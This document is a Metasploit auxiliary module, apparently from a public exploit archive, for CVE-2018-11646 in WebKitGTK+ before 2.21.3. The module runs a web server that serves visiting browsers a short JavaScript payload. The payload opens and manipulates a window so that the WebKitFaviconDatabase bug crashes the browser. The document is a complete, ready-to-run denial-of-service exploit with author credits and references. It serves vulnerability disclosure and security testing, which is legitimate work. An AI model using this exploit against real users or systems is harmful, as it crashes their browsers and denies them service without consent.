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##
# Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS
# Author: Dhiraj Mishra
# Date: 2018-06-11
# CVE: 2018-11646
#
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => "WebKitGTK+ WebKitFaviconDatabase DoS",
'Description' => %q(
This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
If successful, it could lead to application crash, resulting in denial of service.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra', # Original discovery, disclosure
'Hardik Mehta', # Original discovery, disclosure
'Zubin Devnani', # Original discovery, disclosure
'Manuel Caballero' #JS Code
],
'References' => [
['EDB', '44842'],
['CVE', '2018-11646'],
['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
],
'DisclosureDate' => 'Jun 03 2018',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
end
def run
exploit # start http server
end
def setup
@html = <<-JS
<script type="text/javascript">
win = window.open("WIN", "WIN");
window.open("http://example.com/", "WIN");
win.document.execCommand('stop');
win.document.write("HelloWorld");
win.document.close();
</script>
JS
end
def on_request_uri(cli, _request)
print_status('Sending response')
send_response(cli, @html)
end
end
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